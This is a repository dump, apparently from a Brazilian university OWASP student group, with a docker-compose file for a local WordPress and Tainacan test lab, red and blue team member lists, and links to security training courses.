24 | - WORDPRESS_DB_USER=root
25 | - WORDPRESS_DB_PASSWORD=password
26 | depends_on:
27 | - db
28 | - phpmyadmin
29 | restart: always
30 | ports:
31 | - 8080:80
32 |
33 | db:
34 | image: mariadb:latest
35 | container_name: db
36 | volumes:
37 | - db_data:/var/lib/mysql
38 | environment:
39 | - MYSQL_ROOT_PASSWORD=password
40 | - MYSQL_USER=root
41 | - MYSQL_PASSWORD=password
42 | - MYSQL_DATABASE=wordpress
43 | restart: always
44 |
45 | phpmyadmin:
46 | depends_on:
47 | - db
48 | image: phpmyadmin/phpmyadmin:latest
49 | container_name: phpmyadmin
50 | restart: always
51 | ports:
52 | - 8180:80
53 | environment:
54 | PMA_HOST: db
55 | MYSQL_ROOT_PASSWORD: password
56 |
57 | volumes:
58 | db_data:
59 | ```
60 |
61 | Agora basta rodar o comando em seu terminal
62 | ```bash
63 | docker compose up
64 | ```
65 |
66 | Entrar na url http://localhost:8080, configurar o servidor wordpress e instalar na aba de plugins o tainacan e partir para o ataque
67 |
--------------------------------------------------------------------------------
/2025.1/readme.md:
--------------------------------------------------------------------------------
1 | # 2025.1
2 | ## Projetos
3 | * [MEPA](https://gitlab.com/lappis-unb/projetos-energia)
4 | * [Tainacan](https://github.com/tainacan/tainacan)
5 | * [Empurrando Juntas](https://gitlab.com/pencillabs/ej/ej-application)
6 |
7 | ## Red Team Subgrupos
8 |
9 | ## Sub-grupo 1 - Tainacan
10 | 1. **Cauã Matheus Alves Corrêa** - 211031673 - [@CauaMatheus](https://github.com/CauaMatheus)
11 | 2. **Christian Hirsch Santos** - 211045113 - [@crstyhs](https://github.com/crstyhs)
12 | 3. **Gustavo Kenzo Araki Takechi** - 211029343 - [@gustavokenzo1](https://github.com/gustavokenzo1)
13 |
14 | ## Sub-grupo 2 - MEPA
15 | 1. **Luis Henrique Luz Costa** - 180066161 - [@luishenrrique](https://github.com/luishenrrique)
16 | 2. **João Matheus de Oliveira Schmitz** - 200058525 - [@JoaoSchmitz](https://github.com/JoaoSchmitz)
17 | 3. **Carlos Eduardo Rodrigues** - 221031265 - [@Carlos-kadu](https://github.com/Carlos-kadu)
18 | 4. **Vinicius Edwardo Pereira Oliveira** - 160147816 - [@viniciused26](https://github.com/viniciused26)
19 |
20 | ## Sub-grupo 3 - EJ
21 | 1. **Joel Soares Rangel** - 211039546 - [@JoelSRangel](https://github.com/JoelSRangel)
22 | 2. **Lucas Soares Barros** - 202017700 - [@lucaaassb](https://github.com/lucaaassb)
23 | 3. **Lucas Caldas Barbosa de Souza** - 190091606 - [@lucascaldasb](https://github.com/lucascaldasb)
24 |
25 | ---
26 |
27 | ## Blue Team Subgrupos
28 |
29 | ## Sub-grupo 1 - Tainacan
30 | 1. **Luciano de Freitas Melo** - 202016847 - [@luciano-freitas-melo](https://github.com/luciano-freitas-melo)
31 | 2. **Pedro Augusto Dourado Izarias** - 202016847 - [@Izarias](https://github.com/Izarias)
32 |
33 | ## Sub-grupo 2 - MEPA
34 | 1. **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo)
35 | 2. **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy)
36 | 3. **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes)
37 |
38 | ## Sub-grupo 3 - EJ
39 | 1. **Arthur Gabriel Lima Gomes** - 200054333 - [@ArthurGabrieel](https://github.com/ArthurGabrieel)
40 | 2. **Caio Berg Carlos Leite** - 200015753 - [@Caio-bergbjj](https://github.com/Caio-bergbjj)
41 | 3. **Thiago Ribeiro Freitas** - 200028154 - [@thiagorfreitas](https://github.com/thiagorfreitas)
42 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # OWASP - GCES
2 | ---
3 |
4 | ## Sobre
5 |
6 | Este é o repositório do grupo do [Open Worldwide Application Security Project - OWASP](https://owasp.org/about/).
7 |
8 |
9 | ## Trilhas de estudo
10 | ---
11 |
12 | ## Red Team (Time de Ataque)
13 |
14 | ### Módulos Recomendados - Hack The Box Academy
15 |
16 | 1. [Getting Started](https://academy.hackthebox.com/module/details/77)
17 | 2. [Network Enumeration with Nmap](https://academy.hackthebox.com/module/details/19)
18 | 3. [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33)
19 | 4. [SQLMap Essentials](https://academy.hackthebox.com/module/details/58)
20 | 5. [Attacking Web Applications with Ffuf](https://academy.hackthebox.com/module/details/54)
21 | 6. [Cross-Site Scripting (XSS)](https://academy.hackthebox.com/module/details/103)
22 | 7. [Command Injections](https://academy.hackthebox.com/module/details/109)
23 | 8. [Web Attacks](https://academy.hackthebox.com/module/details/134)
24 | 9. [API Attacks](https://academy.hackthebox.com/module/details/268)
25 | 10. [Web Service & API Attacks](https://academy.hackthebox.com/module/details/160)
26 | 11. [Attacking GraphQL](https://academy.hackthebox.com/module/details/271)
27 | 12. [File Upload Attacks](https://academy.hackthebox.com/module/details/136)
28 | 13. [Server-side Attacks](https://academy.hackthebox.com/module/details/145)
29 | 14. [Session Security](https://academy.hackthebox.com/module/details/153)
30 | 15. [Shells & Payloads](https://academy.hackthebox.com/module/details/115)
31 |
32 | Após a conclusão disto, siga o Pentester Path de acordo as necessidades da equipe.
33 |
34 | ### Observação
35 |
36 | - Para quem ainda não criou uma conta: [Crie sua conta aqui](https://referral.hackthebox.com/mzwMdWZ)
37 |
38 | ---
39 |
40 | ## Blue Team (Time de Defesa)
41 |
42 | ### Caminhos Recomendados - TryHackMe
43 |
44 | 1. [Pre Security](https://tryhackme.com/r/path/outline/presecurity)
45 | 2. [DevSecOps](https://tryhackme.com/r/path/outline/devsecops)
46 | 3. **(Opcional, caso reste tempo)** [Security Engineer Training](https://tryhackme.com/r/path/outline/security-engineer-training)
47 |
48 |
49 | ### Observação
50 |
51 | - [Desconto estudantil disponível](https://help.tryhackme.com/en/articles/6494960-student-discount)
52 |
53 |
54 | ## Referências Bibliográficas
55 |
56 | - **Hack The Box Academy**
57 | Disponível em: [https://academy.hackthebox.com](https://academy.hackthebox.com)
58 |
59 | - **PortSwigger Academy**
60 | Disponível em: [https://portswigger.net/web-security](https://portswigger.net/web-security)
61 |
62 | - **TryHackMe**
63 | Disponível em: [https://tryhackme.com](https://tryhackme.com)
64 |
--------------------------------------------------------------------------------